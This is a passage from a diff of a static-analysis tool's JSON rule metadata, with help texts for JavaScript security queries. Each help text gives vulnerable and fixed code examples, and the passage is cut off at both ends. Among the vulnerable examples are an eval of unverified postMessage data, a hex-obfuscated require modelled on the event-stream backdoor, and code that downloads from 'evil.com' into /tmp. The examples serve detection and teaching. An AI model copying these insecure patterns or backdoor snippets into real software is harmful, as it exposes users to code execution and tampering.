checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site.\n\n\n```javascript\napp.get(\"/some/path\", function(req, res) {\n let url = req.param(\"url\");\n // BAD: the host of `url` may be controlled by an attacker\n if (url.match(/https?:\\/\\/www\\.example\\.com\\//)) {\n res.redirect(url);\n }\n});\n\n```\nThe check with the regular expression match is, however, easy to bypass. For example by embedding `http://example.com/` in the query string component: `http://evil-example.net/?x=http://example.com/`. Address these shortcomings by using anchors in the regular expression instead:\n\n\n```javascript\napp.get(\"/some/path\", function(req, res) {\n let url = req.param(\"url\");\n // GOOD: the host of `url` can not be controlled by an attacker\n if (url.match(/^https?:\\/\\/www\\.example\\.com\\//)) {\n res.redirect(url);\n }\n});\n\n```\nA related mistake is to write a regular expression with multiple alternatives, but to only include an anchor for one of the alternatives. As an example, the regular expression `/^www\\.example\\.com|beta\\.example\\.com/` will match the host `evil.beta.example.com` because the regular expression is parsed as `/(^www\\.example\\.com)|(beta\\.example\\.com)/`\n\n\n## References\n* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n", - "markdown" : "# Missing regular expression anchor\nSanitizing untrusted input with regular expressions is a common technique. However, it is error-prone to match untrusted input against regular expressions without anchors such as `^` or `$`. Malicious input can bypass such security checks by embedding one of the allowed patterns in an unexpected location.\n\nEven if the matching is not done in a security-critical context, it may still cause undesirable behavior when the regular expression accidentally matches.\n\n\n## Recommendation\nUse anchors to ensure that regular expressions match at the expected locations.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site.\n\n\n```javascript\napp.get(\"/some/path\", function(req, res) {\n let url = req.param(\"url\");\n // BAD: the host of `url` may be controlled by an attacker\n if (url.match(/https?:\\/\\/www\\.example\\.com\\//)) {\n res.redirect(url);\n }\n});\n\n```\nThe check with the regular expression match is, however, easy to bypass. For example by embedding `http://example.com/` in the query string component: `http://evil-example.net/?x=http://example.com/`. Address these shortcomings by using anchors in the regular expression instead:\n\n\n```javascript\napp.get(\"/some/path\", function(req, res) {\n let url = req.param(\"url\");\n // GOOD: the host of `url` can not be controlled by an attacker\n if (url.match(/^https?:\\/\\/www\\.example\\.com\\//)) {\n res.redirect(url);\n }\n});\n\n```\nA related mistake is to write a regular expression with multiple alternatives, but to only include an anchor for one of the alternatives. As an example, the regular expression `/^www\\.example\\.com|beta\\.example\\.com/` will match the host `evil.beta.example.com` because the regular expression is parsed as `/(^www\\.example\\.com)|(beta\\.example\\.com)/`\n\n\n## References\n* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n" + "text" : "# Failure to abandon session\nReusing a session could allow an attacker to gain unauthorized access to another account. Always ensure that, when a user logs in or out, the current session is abandoned so that a new session may be started.\n\n\n## Recommendation\nAlways use `req.session.regenerate(...);` to start a new session when a user logs in or out.\n\n\n## Example\nThe following example shows the previous session being used after authentication. This would allow a previous user to use the new user's account.\n\n\n```javascript\nconst express = require('express');\nconst session = require('express-session');\nvar bodyParser = require('body-parser')\nconst app = express();\napp.use(bodyParser.urlencoded({ extended: false }))\napp.use(session({\n secret: 'keyboard cat'\n}));\n\napp.post('/login', function (req, res) {\n // Check that username password matches\n if (req.body.username === 'admin' && req.body.password === 'admin') {\n req.session.authenticated = true;\n res.redirect('/');\n } else {\n res.redirect('/login');\n }\n});\n```\nThis code example solves the problem by not reusing the session, and instead calling `req.session.regenerate()` to ensure that the session is not reused.\n\n\n```javascript\nconst express = require('express');\nconst session = require('express-session');\nvar bodyParser = require('body-parser')\nconst app = express();\napp.use(bodyParser.urlencoded({ extended: false }))\napp.use(session({\n secret: 'keyboard cat'\n}));\n\napp.post('/login', function (req, res) {\n // Check that username password matches\n if (req.body.username === 'admin' && req.body.password === 'admin') {\n req.session.regenerate(function (err) {\n if (err) {\n res.send('Error');\n } else {\n req.session.authenticated = true;\n res.redirect('/');\n }\n });\n } else {\n res.redirect('/login');\n }\n});\n```\n\n## References\n* OWASP: [Session fixation](https://www.owasp.org/index.php/Session_fixation)\n* Stack Overflow: [Creating a new session after authentication with Passport](https://stackoverflow.com/questions/22209354/creating-a-new-session-after-authentication-with-passport/30468384#30468384)\n* jscrambler.com: [Best practices for secure session management in Node](https://blog.jscrambler.com/best-practices-for-secure-session-management-in-node)\n* Common Weakness Enumeration: [CWE-384](https://cwe.mitre.org/data/definitions/384.html).\n", + "markdown" : "# Failure to abandon session\nReusing a session could allow an attacker to gain unauthorized access to another account. Always ensure that, when a user logs in or out, the current session is abandoned so that a new session may be started.\n\n\n## Recommendation\nAlways use `req.session.regenerate(...);` to start a new session when a user logs in or out.\n\n\n## Example\nThe following example shows the previous session being used after authentication. This would allow a previous user to use the new user's account.\n\n\n```javascript\nconst express = require('express');\nconst session = require('express-session');\nvar bodyParser = require('body-parser')\nconst app = express();\napp.use(bodyParser.urlencoded({ extended: false }))\napp.use(session({\n secret: 'keyboard cat'\n}));\n\napp.post('/login', function (req, res) {\n // Check that username password matches\n if (req.body.username === 'admin' && req.body.password === 'admin') {\n req.session.authenticated = true;\n res.redirect('/');\n } else {\n res.redirect('/login');\n }\n});\n```\nThis code example solves the problem by not reusing the session, and instead calling `req.session.regenerate()` to ensure that the session is not reused.\n\n\n```javascript\nconst express = require('express');\nconst session = require('express-session');\nvar bodyParser = require('body-parser')\nconst app = express();\napp.use(bodyParser.urlencoded({ extended: false }))\napp.use(session({\n secret: 'keyboard cat'\n}));\n\napp.post('/login', function (req, res) {\n // Check that username password matches\n if (req.body.username === 'admin' && req.body.password === 'admin') {\n req.session.regenerate(function (err) {\n if (err) {\n res.send('Error');\n } else {\n req.session.authenticated = true;\n res.redirect('/');\n }\n });\n } else {\n res.redirect('/login');\n }\n});\n```\n\n## References\n* OWASP: [Session fixation](https://www.owasp.org/index.php/Session_fixation)\n* Stack Overflow: [Creating a new session after authentication with Passport](https://stackoverflow.com/questions/22209354/creating-a-new-session-after-authentication-with-passport/30468384#30468384)\n* jscrambler.com: [Best practices for secure session management in Node](https://blog.jscrambler.com/best-practices-for-secure-session-management-in-node)\n* Common Weakness Enumeration: [CWE-384](https://cwe.mitre.org/data/definitions/384.html).\n" }, "properties" : { - "tags" : [ "correctness", "security", "external/cwe/cwe-020" ], - "description" : "Regular expressions without anchors can be vulnerable to bypassing.", - "id" : "js/regex/missing-regexp-anchor", + "tags" : [ "security", "external/cwe/cwe-384" ], + "description" : "Reusing an existing session as a different user could allow\n an attacker to access someone else's account by using\n their session.", + "id" : "js/session-fixation", "kind" : "problem", - "name" : "Missing regular expression anchor", + "name" : "Failure to abandon session", "precision" : "medium", "problem.severity" : "warning", - "security-severity" : "7.8" + "security-severity" : "5" } }, { - "id" : "js/missing-origin-check", - "name" : "js/missing-origin-check", + "id" : "js/hardcoded-data-interpreted-as-code", + "name" : "js/hardcoded-data-interpreted-as-code", "shortDescription" : { - "text" : "Missing origin verification in `postMessage` handler" + "text" : "Hard-coded data interpreted as code" }, "fullDescription" : { - "text" : "Missing origin verification in a `postMessage` handler allows any windows to send arbitrary data to the handler." + "text" : "Transforming hard-coded data (such as hexadecimal constants) into code to be executed is a technique often associated with backdoors and should be avoided." }, "defaultConfiguration" : { "enabled" : true, - "level" : "warning" + "level" : "error" }, "help" : { - "text" : "# Missing origin verification in `postMessage` handler\nThe `\"message\"` event is used to send messages between windows. An untrusted window can send a message to a trusted window, and it is up to the receiver to verify the legitimacy of the message. One way of performing that verification is to check the `origin` of the message ensure that it originates from a trusted window.\n\n\n## Recommendation\nAlways verify the origin of incoming messages.\n\n\n## Example\nThe example below uses a received message to execute some code. However, the origin of the message is not checked, so it might be possible for an attacker to execute arbitrary code.\n\n\n```javascript\nfunction postMessageHandler(event) {\n let origin = event.origin.toLowerCase();\n\n console.log(origin)\n // BAD: the origin property is not checked\n eval(event.data);\n}\n\nwindow.addEventListener('message', postMessageHandler, false);\n\n```\nThe example is fixed below, where the origin is checked to be trusted. It is therefore not possible for a malicious user to perform an attack using an untrusted origin.\n\n\n```javascript\nfunction postMessageHandler(event) {\n console.log(event.origin)\n // GOOD: the origin property is checked\n if (event.origin === 'https://www.example.com') {\n // do something\n }\n}\n\nwindow.addEventListener('message', postMessageHandler, false);\n```\n\n## References\n* [Window.postMessage()](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage).\n* [Web message manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation).\n* [The pitfalls of postMessage](https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-940](https://cwe.mitre.org/data/definitions/940.html).\n", - "markdown" : "# Missing origin verification in `postMessage` handler\nThe `\"message\"` event is used to send messages between windows. An untrusted window can send a message to a trusted window, and it is up to the receiver to verify the legitimacy of the message. One way of performing that verification is to check the `origin` of the message ensure that it originates from a trusted window.\n\n\n## Recommendation\nAlways verify the origin of incoming messages.\n\n\n## Example\nThe example below uses a received message to execute some code. However, the origin of the message is not checked, so it might be possible for an attacker to execute arbitrary code.\n\n\n```javascript\nfunction postMessageHandler(event) {\n let origin = event.origin.toLowerCase();\n\n console.log(origin)\n // BAD: the origin property is not checked\n eval(event.data);\n}\n\nwindow.addEventListener('message', postMessageHandler, false);\n\n```\nThe example is fixed below, where the origin is checked to be trusted. It is therefore not possible for a malicious user to perform an attack using an untrusted origin.\n\n\n```javascript\nfunction postMessageHandler(event) {\n console.log(event.origin)\n // GOOD: the origin property is checked\n if (event.origin === 'https://www.example.com') {\n // do something\n }\n}\n\nwindow.addEventListener('message', postMessageHandler, false);\n```\n\n## References\n* [Window.postMessage()](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage).\n* [Web message manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation).\n* [The pitfalls of postMessage](https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-940](https://cwe.mitre.org/data/definitions/940.html).\n" + "text" : "# Hard-coded data interpreted as code\nInterpreting hard-coded data, such as string literals containing hexadecimal numbers, as code or as an import path is typical of malicious backdoor code that has been implanted into an otherwise trusted code base and is trying to hide its true purpose from casual readers or automated scanning tools.\n\n\n## Recommendation\nExamine the code in question carefully to ascertain its provenance and its true purpose. If the code is benign, it should always be possible to rewrite it without relying on dynamically interpreting data as code, improving both clarity and safety.\n\n\n## Example\nAs an example of malicious code using this obfuscation technique, consider the following simplified version of a snippet of backdoor code that was discovered in a dependency of the popular `event-stream` npm package:\n\n\n```javascript\nvar r = require;\n\nfunction e(r) {\n return Buffer.from(r, \"hex\").toString()\n}\n\n// BAD: hexadecimal constant decoded and interpreted as import path\nvar n = r(e(\"2e2f746573742f64617461\"));\n\n```\nWhile this shows only the first few lines of code, it already looks very suspicious since it takes a hard-coded string literal, hex-decodes it and then uses it as an import path. The only reason to do so is to hide the name of the file being imported.\n\n\n## References\n* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse).\n* The npm Blog: [Details about the event-stream incident](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident).\n* Common Weakness Enumeration: [CWE-506](https://cwe.mitre.org/data/definitions/506.html).\n", + "markdown" : "# Hard-coded data interpreted as code\nInterpreting hard-coded data, such as string literals containing hexadecimal numbers, as code or as an import path is typical of malicious backdoor code that has been implanted into an otherwise trusted code base and is trying to hide its true purpose from casual readers or automated scanning tools.\n\n\n## Recommendation\nExamine the code in question carefully to ascertain its provenance and its true purpose. If the code is benign, it should always be possible to rewrite it without relying on dynamically interpreting data as code, improving both clarity and safety.\n\n\n## Example\nAs an example of malicious code using this obfuscation technique, consider the following simplified version of a snippet of backdoor code that was discovered in a dependency of the popular `event-stream` npm package:\n\n\n```javascript\nvar r = require;\n\nfunction e(r) {\n return Buffer.from(r, \"hex\").toString()\n}\n\n// BAD: hexadecimal constant decoded and interpreted as import path\nvar n = r(e(\"2e2f746573742f64617461\"));\n\n```\nWhile this shows only the first few lines of code, it already looks very suspicious since it takes a hard-coded string literal, hex-decodes it and then uses it as an import path. The only reason to do so is to hide the name of the file being imported.\n\n\n## References\n* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse).\n* The npm Blog: [Details about the event-stream incident](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident).\n* Common Weakness Enumeration: [CWE-506](https://cwe.mitre.org/data/definitions/506.html).\n" }, "properties" : { - "tags" : [ "correctness", "security", "external/cwe/cwe-020", "external/cwe/cwe-940" ], - "description" : "Missing origin verification in a `postMessage` handler allows any windows to send arbitrary data to the handler.", - "id" : "js/missing-origin-check", - "kind" : "problem", - "name" : "Missing origin verification in `postMessage` handler", + "tags" : [ "security", "external/cwe/cwe-506" ], + "description" : "Transforming hard-coded data (such as hexadecimal constants) into code\n to be executed is a technique often associated with backdoors and should\n be avoided.", + "id" : "js/hardcoded-data-interpreted-as-code", + "kind" : "path-problem", + "name" : "Hard-coded data interpreted as code", "precision" : "medium", - "problem.severity" : "warning", - "security-severity" : "5" + "problem.severity" : "error", + "security-severity" : "9.1" } }, { "id" : "js/file-access-to-http", @@ -2406,31 +2460,31 @@ "security-severity" : "6.5" } }, { - "id" : "js/session-fixation", - "name" : "js/session-fixation", + "id" : "js/indirect-command-line-injection", + "name" : "js/indirect-command-line-injection", "shortDescription" : { - "text" : "Failure to abandon session" + "text" : "Indirect uncontrolled command line" }, "fullDescription" : { - "text" : "Reusing an existing session as a different user could allow an attacker to access someone else's account by using their session." + "text" : "Forwarding command-line arguments to a child process executed within a shell may indirectly introduce command-line injection vulnerabilities." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Failure to abandon session\nReusing a session could allow an attacker to gain unauthorized access to another account. Always ensure that, when a user logs in or out, the current session is abandoned so that a new session may be started.\n\n\n## Recommendation\nAlways use `req.session.regenerate(...);` to start a new session when a user logs in or out.\n\n\n## Example\nThe following example shows the previous session being used after authentication. This would allow a previous user to use the new user's account.\n\n\n```javascript\nconst express = require('express');\nconst session = require('express-session');\nvar bodyParser = require('body-parser')\nconst app = express();\napp.use(bodyParser.urlencoded({ extended: false }))\napp.use(session({\n secret: 'keyboard cat'\n}));\n\napp.post('/login', function (req, res) {\n // Check that username password matches\n if (req.body.username === 'admin' && req.body.password === 'admin') {\n req.session.authenticated = true;\n res.redirect('/');\n } else {\n res.redirect('/login');\n }\n});\n```\nThis code example solves the problem by not reusing the session, and instead calling `req.session.regenerate()` to ensure that the session is not reused.\n\n\n```javascript\nconst express = require('express');\nconst session = require('express-session');\nvar bodyParser = require('body-parser')\nconst app = express();\napp.use(bodyParser.urlencoded({ extended: false }))\napp.use(session({\n secret: 'keyboard cat'\n}));\n\napp.post('/login', function (req, res) {\n // Check that username password matches\n if (req.body.username === 'admin' && req.body.password === 'admin') {\n req.session.regenerate(function (err) {\n if (err) {\n res.send('Error');\n } else {\n req.session.authenticated = true;\n res.redirect('/');\n }\n });\n } else {\n res.redirect('/login');\n }\n});\n```\n\n## References\n* OWASP: [Session fixation](https://www.owasp.org/index.php/Session_fixation)\n* Stack Overflow: [Creating a new session after authentication with Passport](https://stackoverflow.com/questions/22209354/creating-a-new-session-after-authentication-with-passport/30468384#30468384)\n* jscrambler.com: [Best practices for secure session management in Node](https://blog.jscrambler.com/best-practices-for-secure-session-management-in-node)\n* Common Weakness Enumeration: [CWE-384](https://cwe.mitre.org/data/definitions/384.html).\n", - "markdown" : "# Failure to abandon session\nReusing a session could allow an attacker to gain unauthorized access to another account. Always ensure that, when a user logs in or out, the current session is abandoned so that a new session may be started.\n\n\n## Recommendation\nAlways use `req.session.regenerate(...);` to start a new session when a user logs in or out.\n\n\n## Example\nThe following example shows the previous session being used after authentication. This would allow a previous user to use the new user's account.\n\n\n```javascript\nconst express = require('express');\nconst session = require('express-session');\nvar bodyParser = require('body-parser')\nconst app = express();\napp.use(bodyParser.urlencoded({ extended: false }))\napp.use(session({\n secret: 'keyboard cat'\n}));\n\napp.post('/login', function (req, res) {\n // Check that username password matches\n if (req.body.username === 'admin' && req.body.password === 'admin') {\n req.session.authenticated = true;\n res.redirect('/');\n } else {\n res.redirect('/login');\n }\n});\n```\nThis code example solves the problem by not reusing the session, and instead calling `req.session.regenerate()` to ensure that the session is not reused.\n\n\n```javascript\nconst express = require('express');\nconst session = require('express-session');\nvar bodyParser = require('body-parser')\nconst app = express();\napp.use(bodyParser.urlencoded({ extended: false }))\napp.use(session({\n secret: 'keyboard cat'\n}));\n\napp.post('/login', function (req, res) {\n // Check that username password matches\n if (req.body.username === 'admin' && req.body.password === 'admin') {\n req.session.regenerate(function (err) {\n if (err) {\n res.send('Error');\n } else {\n req.session.authenticated = true;\n res.redirect('/');\n }\n });\n } else {\n res.redirect('/login');\n }\n});\n```\n\n## References\n* OWASP: [Session fixation](https://www.owasp.org/index.php/Session_fixation)\n* Stack Overflow: [Creating a new session after authentication with Passport](https://stackoverflow.com/questions/22209354/creating-a-new-session-after-authentication-with-passport/30468384#30468384)\n* jscrambler.com: [Best practices for secure session management in Node](https://blog.jscrambler.com/best-practices-for-secure-session-management-in-node)\n* Common Weakness Enumeration: [CWE-384](https://cwe.mitre.org/data/definitions/384.html).\n" + "text" : "# Indirect uncontrolled command line\nForwarding command-line arguments to `child_process.exec` or some other library routine that executes a system command within a shell can change the meaning of the command unexpectedly due to unescaped special characters.\n\nWhen the forwarded command-line arguments come from a parent process that has not escaped the special characters in the arguments, then the parent process may indirectly be vulnerable to command-line injection since the special characters are evaluated unexpectedly.\n\n\n## Recommendation\nIf possible, use APIs that don't run shell commands and accept command arguments as an array of strings rather than a single concatenated string. This is both safer and more portable.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nIf this approach is not viable, then add code to verify that each forwarded command-line argument is properly escaped before using it.\n\n\n## Example\nThe following wrapper script example executes another JavaScript file in a child process and forwards some command-line arguments. This is problematic because the special characters in the command-line arguments may change the meaning of the child process invocation unexpectedly. For instance, if one of the command-line arguments is `\"dollar$separated$name\"`, then the child process will substitute the two environment variables `$separated` and `$name` before invoking `node`.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nconst args = process.argv.slice(2);\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execSync(`node ${script} ${args.join(' ')}`); // BAD\n\n```\nIf another program uses `child_process.execFile` to invoke the above wrapper script with input from a remote user, then there may be a command-line injection vulnerability. This may be surprising, since a command-line invocation with `child_process.execFile` is generally considered safe. But in this case, the remote user input is simply forwarded to the problematic `process.exec` call in the wrapper script.\n\nTo guard against this, use an API that does not perform environment variable substitution, such as `child_process.execFile`:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nconst args = process.argv.slice(2);\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execFileSync('node', [script].concat(args)); // GOOD\n\n```\nIf you want to allow the user to specify other options to `node`, you can use a library like `shell-quote` to parse the user input into an array of arguments without risking command injection:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n shellQuote = require(\"shell-quote\");\n\nconst args = process.argv.slice(2);\nlet nodeOpts = '';\nif (args[0] === '--node-opts') {\n nodeOpts = args[1];\n args.splice(0, 2);\n}\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execFileSync('node', shellQuote.parse(nodeOpts).concat(script).concat(args)); // GOOD\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n", + "markdown" : "# Indirect uncontrolled command line\nForwarding command-line arguments to `child_process.exec` or some other library routine that executes a system command within a shell can change the meaning of the command unexpectedly due to unescaped special characters.\n\nWhen the forwarded command-line arguments come from a parent process that has not escaped the special characters in the arguments, then the parent process may indirectly be vulnerable to command-line injection since the special characters are evaluated unexpectedly.\n\n\n## Recommendation\nIf possible, use APIs that don't run shell commands and accept command arguments as an array of strings rather than a single concatenated string. This is both safer and more portable.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nIf this approach is not viable, then add code to verify that each forwarded command-line argument is properly escaped before using it.\n\n\n## Example\nThe following wrapper script example executes another JavaScript file in a child process and forwards some command-line arguments. This is problematic because the special characters in the command-line arguments may change the meaning of the child process invocation unexpectedly. For instance, if one of the command-line arguments is `\"dollar$separated$name\"`, then the child process will substitute the two environment variables `$separated` and `$name` before invoking `node`.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nconst args = process.argv.slice(2);\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execSync(`node ${script} ${args.join(' ')}`); // BAD\n\n```\nIf another program uses `child_process.execFile` to invoke the above wrapper script with input from a remote user, then there may be a command-line injection vulnerability. This may be surprising, since a command-line invocation with `child_process.execFile` is generally considered safe. But in this case, the remote user input is simply forwarded to the problematic `process.exec` call in the wrapper script.\n\nTo guard against this, use an API that does not perform environment variable substitution, such as `child_process.execFile`:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nconst args = process.argv.slice(2);\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execFileSync('node', [script].concat(args)); // GOOD\n\n```\nIf you want to allow the user to specify other options to `node`, you can use a library like `shell-quote` to parse the user input into an array of arguments without risking command injection:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n shellQuote = require(\"shell-quote\");\n\nconst args = process.argv.slice(2);\nlet nodeOpts = '';\nif (args[0] === '--node-opts') {\n nodeOpts = args[1];\n args.splice(0, 2);\n}\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execFileSync('node', shellQuote.parse(nodeOpts).concat(script).concat(args)); // GOOD\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-384" ], - "description" : "Reusing an existing session as a different user could allow\n an attacker to access someone else's account by using\n their session.", - "id" : "js/session-fixation", - "kind" : "problem", - "name" : "Failure to abandon session", + "tags" : [ "correctness", "security", "external/cwe/cwe-078", "external/cwe/cwe-088" ], + "description" : "Forwarding command-line arguments to a child process\n executed within a shell may indirectly introduce\n command-line injection vulnerabilities.", + "id" : "js/indirect-command-line-injection", + "kind" : "path-problem", + "name" : "Indirect uncontrolled command line", "precision" : "medium", "problem.severity" : "warning", - "security-severity" : "5" + "security-severity" : "6.3" } }, { "id" : "js/client-side-request-forgery", @@ -2487,85 +2541,31 @@ "security-severity" : "7.5" } }, { - "id" : "js/http-to-file-access", - "name" : "js/http-to-file-access", - "shortDescription" : { - "text" : "Network data written to file" - }, - "fullDescription" : { - "text" : "Writing network data directly to the file system allows arbitrary file upload and might indicate a backdoor." - }, - "defaultConfiguration" : { - "enabled" : true, - "level" : "warning" - }, - "help" : { - "text" : "# Network data written to file\nStoring user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.\n\n\n## Recommendation\nExamine the highlighted code closely to ensure that it is behaving as intended.\n\n\n## Example\nThe following example shows backdoor code that downloads data from the URL `https://evil.com/script`, and stores it in the local file `/tmp/script`.\n\n\n```javascript\nvar https = require(\"https\");\nvar fs = require(\"fs\");\n\nhttps.get('https://evil.com/script', res => {\n res.on(\"data\", d => {\n fs.writeFileSync(\"/tmp/script\", d)\n })\n});\n\n```\nOther parts of the program might then assume that since `/tmp/script` is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source.\n\n\n## References\n* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse).\n* OWASP: [Unrestricted File Upload](https://www.owasp.org/index.php/Unrestricted_File_Upload).\n* Common Weakness Enumeration: [CWE-912](https://cwe.mitre.org/data/definitions/912.html).\n* Common Weakness Enumeration: [CWE-434](https://cwe.mitre.org/data/definitions/434.html).\n", - "markdown" : "# Network data written to file\nStoring user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.\n\n\n## Recommendation\nExamine the highlighted code closely to ensure that it is behaving as intended.\n\n\n## Example\nThe following example shows backdoor code that downloads data from the URL `https://evil.com/script`, and stores it in the local file `/tmp/script`.\n\n\n```javascript\nvar https = require(\"https\");\nvar fs = require(\"fs\");\n\nhttps.get('https://evil.com/script', res => {\n res.on(\"data\", d => {\n fs.writeFileSync(\"/tmp/script\", d)\n })\n});\n\n```\nOther parts of the program might then assume that since `/tmp/script` is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source.\n\n\n## References\n* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse).\n* OWASP: [Unrestricted File Upload](https://www.owasp.org/index.php/Unrestricted_File_Upload).\n* Common Weakness Enumeration: [CWE-912](https://cwe.mitre.org/data/definitions/912.html).\n* Common Weakness Enumeration: [CWE-434](https://cwe.mitre.org/data/definitions/434.html).\n" - }, - "properties" : { - "tags" : [ "security", "external/cwe/cwe-912", "external/cwe/cwe-434" ], - "description" : "Writing network data directly to the file system allows arbitrary file upload and might indicate a backdoor.", - "id" : "js/http-to-file-access", - "kind" : "path-problem", - "name" : "Network data written to file", - "precision" : "medium", - "problem.severity" : "warning", - "security-severity" : "6.3" - } - }, { - "id" : "js/indirect-command-line-injection", - "name" : "js/indirect-command-line-injection", - "shortDescription" : { - "text" : "Indirect uncontrolled command line" - }, - "fullDescription" : { - "text" : "Forwarding command-line arguments to a child process executed within a shell may indirectly introduce command-line injection vulnerabilities." - }, - "defaultConfiguration" : { - "enabled" : true, - "level" : "warning" - }, - "help" : { - "text" : "# Indirect uncontrolled command line\nForwarding command-line arguments to `child_process.exec` or some other library routine that executes a system command within a shell can change the meaning of the command unexpectedly due to unescaped special characters.\n\nWhen the forwarded command-line arguments come from a parent process that has not escaped the special characters in the arguments, then the parent process may indirectly be vulnerable to command-line injection since the special characters are evaluated unexpectedly.\n\n\n## Recommendation\nIf possible, use APIs that don't run shell commands and accept command arguments as an array of strings rather than a single concatenated string. This is both safer and more portable.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nIf this approach is not viable, then add code to verify that each forwarded command-line argument is properly escaped before using it.\n\n\n## Example\nThe following wrapper script example executes another JavaScript file in a child process and forwards some command-line arguments. This is problematic because the special characters in the command-line arguments may change the meaning of the child process invocation unexpectedly. For instance, if one of the command-line arguments is `\"dollar$separated$name\"`, then the child process will substitute the two environment variables `$separated` and `$name` before invoking `node`.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nconst args = process.argv.slice(2);\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execSync(`node ${script} ${args.join(' ')}`); // BAD\n\n```\nIf another program uses `child_process.execFile` to invoke the above wrapper script with input from a remote user, then there may be a command-line injection vulnerability. This may be surprising, since a command-line invocation with `child_process.execFile` is generally considered safe. But in this case, the remote user input is simply forwarded to the problematic `process.exec` call in the wrapper script.\n\nTo guard against this, use an API that does not perform environment variable substitution, such as `child_process.execFile`:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nconst args = process.argv.slice(2);\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execFileSync('node', [script].concat(args)); // GOOD\n\n```\nIf you want to allow the user to specify other options to `node`, you can use a library like `shell-quote` to parse the user input into an array of arguments without risking command injection:\n\n\n```javascript\nvar cp = require(\"child_process\"),\n shellQuote = require(\"shell-quote\");\n\nconst args = process.argv.slice(2);\nlet nodeOpts = '';\nif (args[0] === '--node-opts') {\n nodeOpts = args[1];\n args.splice(0, 2);\n}\nconst script = path.join(__dirname, 'bin', 'main.js');\ncp.execFileSync('node', shellQuote.parse(nodeOpts).concat(script).concat(args)); // GOOD\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n", - "markdown" : "# Indirect uncontrolled command line\nForwarding command-line arguments to `child_process.exec` or some other library routine that executes a system command within a shell can change the meaning of the command unexpectedly due to unescaped special characters.\n\nWhen the forwarded command-line arguments come from a parent process that has not 